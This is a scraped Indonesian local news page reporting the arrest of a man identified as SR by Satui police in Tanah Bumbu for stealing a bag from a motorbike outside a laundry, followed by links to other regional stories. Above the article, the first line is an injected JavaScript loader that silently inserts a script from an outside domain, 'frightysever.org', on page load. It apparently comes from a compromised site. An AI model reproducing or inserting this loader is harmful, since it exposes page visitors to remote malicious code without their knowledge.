(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

SR Dibekuk Anggota Polsek Satui, Setelah Mencuri Tas di Sebuah Laundry


KANALKALIMANTAN.COM, BATULICIN – Unit Reskrim Polsek Satui membekuk seorang pelaku dugaan tindak pidana pencurian.

Pelaku adalah SR (29) Warga Gang Jamrud RT 11, Desa Sungai Danau, Kecamatan Satui, Kabupaten Tanah Bumbu.

Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas AKP H Iberahim Made Rasa di dampingi Kapolsek Satui Iptu Hardaya mengatakan, penangkapan atas pelaku SR dengan dugaan tindak pidana pencurian tersebut.

“Anggota Unit Reskrim Polsek Satui telah mengamankan pelaku tindak pidana pencurian pada Jumat (4/3/2022) malam lalu,” terangnya, Senin (7/3/2022).

 

 

Baca juga: Terjaring Pemeriksaan Vaksin, Pengendara Bermotor di Amuntai Langsung Suntik di Tempat

AKP H Iberarim Made Rasa menjelaskan, pada Sabtu 26 Februari 2022 jam 07.00 Wita di Jalan Provinsi, Desa Sungai Danau, Kecamatan Satui -tepatnya di halaman sebuah laundry- telah terjadi dugaan tindak pidana pencurian yang dilakukan oleh SR.

Saat korban memarkirkan sepeda motor miliknya di depan halaman sebuah laundry dengan tas berada di atas motor, kemudian korban masuk ke dalam toko untuk mengambil kunci. Setelah itu saat korban kembali tas korban sudah tidak ada atau hilang dari sepeda motor miliknya.

Atas kejadian tersebut korban melapor ke Polsek Satui, berdasar laporan tersebut Unit Reskrim Polsek Satui melakukan penyelidikan. Diketahui pelaku adalah SR, kemudian petugas memburu dan melakukan penangkapan di rumah tersangka.

Atas kejadian tersebut korban mengalami kerugian sebesar Rp 3 juta. Kini pelaku sudah mendekam di balik jeruji Polsek Satui guna proses lebih lanjut.

Barang bukti yang di amankan berupa satu buah hand phone Vivo Y91C warna hitam dan satu unit Yamaha Lexi warna merah dengan Nopol DA 6103 ZCP.

Pelaku akan dijerat pasal tindak pidana pencurian sebagaimana dimaksud dalam pasal 363 KUHP. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.